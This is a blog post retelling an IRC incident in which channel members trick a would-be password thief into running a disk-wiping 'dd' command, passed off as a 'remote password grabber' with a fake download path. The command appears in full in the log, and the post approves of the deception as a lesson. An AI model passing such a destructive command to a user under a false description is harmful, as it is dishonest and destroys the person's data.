For those of you who are not old enough (or simply don’t know), IRC stands for Internet Relay Chat, and is one of the first real-time, multi-user chat systems that was invented, with capabilities to span multiple servers across countries and continents, servicing thousands of users organized in channels. Daniel Stenberg has a brief overview of IRC history if you want to know a bit more.
Many communities have their dedicated IRC channels where they converse about their topics of interest, and in some cases even offer support for software or services. This is the case of #remote-exploit, registered on Freenode, which serves as a communication and support channel between developers and users of BackTrack, the best and most comprehensive Linux-based Live CD focused on security – this includes auditing, penetration testing, and so on. The IRC channel is frequented by the developers and a few hard-core users, who provide ad-hoc support to other users having difficulties with particular tools, or who may be trying to get something working but failing to do so. Regular chat around security-related topics makes the channel a very nice place to be if you are interested or work in IT security.
There seems to be a trend nowadays, maybe related to how our children are being educated at home and at school, that people simply demand to be spoon-fed particular information to accomplish a very specific task, disregarding the whole process of actually researching, learning and understanding what they are doing. This is particularly important in the security field, as lack of understanding can have very bad consequences, which brings us to today’s episode.
BIG FAT BOLD DISCLAIMERS
- Kids, do not try this at home. Do not try to play either of the sides you see here, chances are you will lose. Particularly, do not run any of the commands you see being used!
- Before you start posting comments about how cruel this was, I agree that things may have gone over the top, but if anyone deserved a lesson, it was this guy. Since there is no such thing as an Internet Supreme Court, we have no place to take these people so they can have their right to use the Internet suspended for two years. This guy was asking for information on how to commit several crimes, and this is something no true hacker will ever condone. He was warned many times that what he was asking was illegal and frowned upon, and he still insisted. All he lost was music and games (by his own admission, the contents of his hard drive) – it was very obvious he wasn’t using his computer for any beneficial purpose at the time, so he would just have to reinstall his games and rip his CDs again, no big deal.
- Hacker does not equate to criminal. A hacker is after knowledge and experimentation, not causing intentional damage. Hackers are analytical and proud of their knowledge, acquired through years of learning and research. Thus, when someone asks for this knowledge to be siphoned off their brains, they get rather miffed, responding as you can see here. If you ask a hacker a sensible question, you will get a sensible answer, as we understand that the same we were taught by others, we have a responsibility to pass on the knowledge – not by spoon-feeding though! An excellent quote found in a DefCon FAQ: ‘Ignorance is forgivable, because it’s curable; stupidity is not… The difference between ignorance and stupidity is in the desire to remain ignorant’.
- This is not a usual event. I have only seen something like this happen twice, and I’ve been on IRC since around 1993. Don’t think that our purpose in life is to sit in IRC channels waiting for victims to prey on.
This particular event took place the evening of April 31st, when someone using the nick JAGGEN (hint: don’t use caps in IRC for either your nick or typing, as it is considered shouting and rude) joined the #remote-exploit IRC channel, and began asking for information on how to perform various illegal acts:
[01:39] * Joins: JEGGAN (email@example.com)
[01:40] <JEGGAN> Hi i am very new att Back Track 2 and wonder if someone want to answere my questions in private... sorry my eng i am swe
[01:47] <JEGGAN> so sad that nobody is here but i will be back tomorrow then
[01:48] <Zi0n> tomorrow we closed
[01:49] <JEGGAN> can u help me Zi0n ?
[01:49] <Zi0n> deppends on the question
[01:50] <JEGGAN> littel random about back track what i can do and not do and so on but i want to take it in privv but i goes good here if u want becus i don't want to spam down the channel whit stupied questions
[01:50] <Zi0n> if you know your question is stupid, why ask it ?
[01:51] <JEGGAN> becus i don't know if it's possibel
[01:51] <JEGGAN> for exampel can i hack irc and take auth's in quakenet whit it?
[01:51] <Zi0n> anyway, ask you question here and see if anyone can help you with it
[01:51] <JEGGAN> ok
[01:51] <JEGGAN> can i hack auth on quakenet whit back track?
[01:52] <JEGGAN> can i hack emails so i can for exampel get my friends msn account and other's account?
Things went downhill from here – Zi0n told the guy to try in #ubuntu, a channel dedicated to a much better hacker tool collection – of course we all know what Ubuntu really is, and when he joined there he was promptly directed to #ubuntu-offtopic, where he asked the same questions, and was then directed to join #binrev, a hard-core hacker channel on a different IRC server:
[01:59] <FringeJacket> JEGGAN you've got a better chance there
[01:59] <JEGGAN> okok
[01:59] <JEGGAN> let's try then
[02:00] <JEGGAN> uhm in binrev it's nobody there...
[02:00] <kitche> JEGGAN: different server irc.binrev.net is their irc server
Not realizing he was going to make a huge mistake, and having been warned that what he was asking was illegal in at least three different IRC channels, he went on to join #binrev, where the following ensued:
[02:03] * Now talking in #binrev
[02:04] <tehbizz> ok, ask the damn question alrady
[02:10] <JEGGAN> who can i get my friends msn password easy ?
[02:10] <sev> First, learn english.
[02:10] <voltagex> JEGGAN: you can
[02:10] <JEGGAN> how i mean
[02:10] <Strom> JEGGAN: we don't condone that behavior here.
[02:10] <voltagex> ask him for it
[02:11] <sev> That's not the only thing wrong with your question.
[02:11] <JEGGAN> i am new on this and i am swe so i don't have good eng i just want to talk to somebody that can help me a littel bit
[02:11] <voltagex> no.
[02:11] <voltagex> just no.
[02:12] <sev> excellent.
[02:12] <JEGGAN> ?
[02:12] <JEGGAN> so you don't want to help me
[02:12] <Adam> jeggan i know nothing of msn sorry
[02:12] <voltagex> we don't do stealing passwords here
[02:12] <JEGGAN> Adam what do you know about email ?
[02:13] <JEGGAN> voltagex what are you doing here then?
[02:13] <tehbizz> easiest way to get a password: ask for it
[02:13] <tehbizz> discussion over.
[02:13] <sev> JEGGAN: do you know about the amazing hacking powers of 'dd'?
[02:13] <JEGGAN> sev no
[02:13] <voltagex> JEGGAN: not stealing passwords
[02:14] <sev> JEGGAN: I can help you hack with dd.
[02:14] <JEGGAN> sev what is dd?
[02:14] <tehbizz> yes
[02:14] <voltagex> JEGGAN: mad hack tool
[02:14] <sev> it's a remote password grabber
[02:14] <JEGGAN> okok
[02:14] <JEGGAN> where do i get it?
[02:14] <sev> JEGGAN: do you have root access on your machine?
[02:14] <JEGGAN> yes
Now our hapless “hacker” was getting interested…someone is going to teach me how to actually hack, using something called ‘dd’. If you read up Wikipedia’s entry of ‘dd’, you will see that it’s a low-level Unix tool that allows copying data between different media, for example, a floppy disk to a hard drive. It can use a variety of inputs, and write to a variety of outputs. Towards the bottom of the Wikipedia entry, there are some examples of the destructive power of dd, preceeded by this:
As an example, using dd if=/dev/urandom of=/dev/hda will overwrite the hard disk with random data. If this noob had bothered to simply type ‘dd’ in Google, he would have seen the Wikipedia entry as the second result, and taking two minutes to read through it, would have realized that it is not a remote password grabber. Determined to break into other people’s MSN, email and gaming accounts, he charged ahead:
[02:38] <sev> paste this: dd if=/dev/urandom of=/dev/hda # 126.96.36.199/get/hacker/tools/driveb/hack/msn_password_grabber.xof
[02:38] <JEGGAN> where should i put it?
[02:39] <voltagex> in the command line
[02:39] <sev> in your command line, it's all one line, so paste it carefully
[02:39] <JEGGAN> wtf cant puch ctr+c to copy :s
[02:39] <tehbizz> shift+insert
[02:39] <JEGGAN> now it worked
And the inevitable happened, after a few hours of waiting for something to happen while dd was running:
[18:07] <Citrus> try to reboot anyway
[18:07] <JEGGAN> ok
[18:08] <Citrus> you don't loose anything to see if LILO is there already
[18:08] <JEGGAN> should i boot in windows or BT?
[18:08] <Citrus> no, just boot normal without the CD
[18:08] <JEGGAN> ok
[18:08] <Citrus> you should see a menu
[18:08] <JEGGAN> brb
[18:08] * Quits: JEGGAN (~firstname.lastname@example.org) (Quit: Leaving)
[18:14] * Joins: JEGGAN (~JEGGAN@81-226-226-68-no58.tbcn.telia.com)
[18:15] <JEGGAN> Citrus,
[18:15] <JEGGAN> no menu and windows dosen't boot
[18:15] <Citrus> what do you mean doesn't boot?
[18:15] <JEGGAN> that i can't go into windows..
[18:16] <Citrus> JEGGAN: what message do you get?
[18:16] <JEGGAN> insert system disk
You can read the whole exchange here, edited to remove irrelevant background chatter. Lessons to be learned from this:
- Don’t be an idiot – if you are told to go search and read, it is very likely that there are numerous sources for answers to your question. If you are told what you want to do is illegal, drop it.
- Don’t believe everything you are told on online (this applies to other means than IRC too!) – would you take advice from a total stranger on the street on how to do brain surgery on yourself? There is no shame in taking your time to double-check advice you are given.
- Learn the basics and work your way up, not the other way around – if you ask to be taught a very high-level and complex topic, without having made the effort to even learn the basics, you will be frowned upon.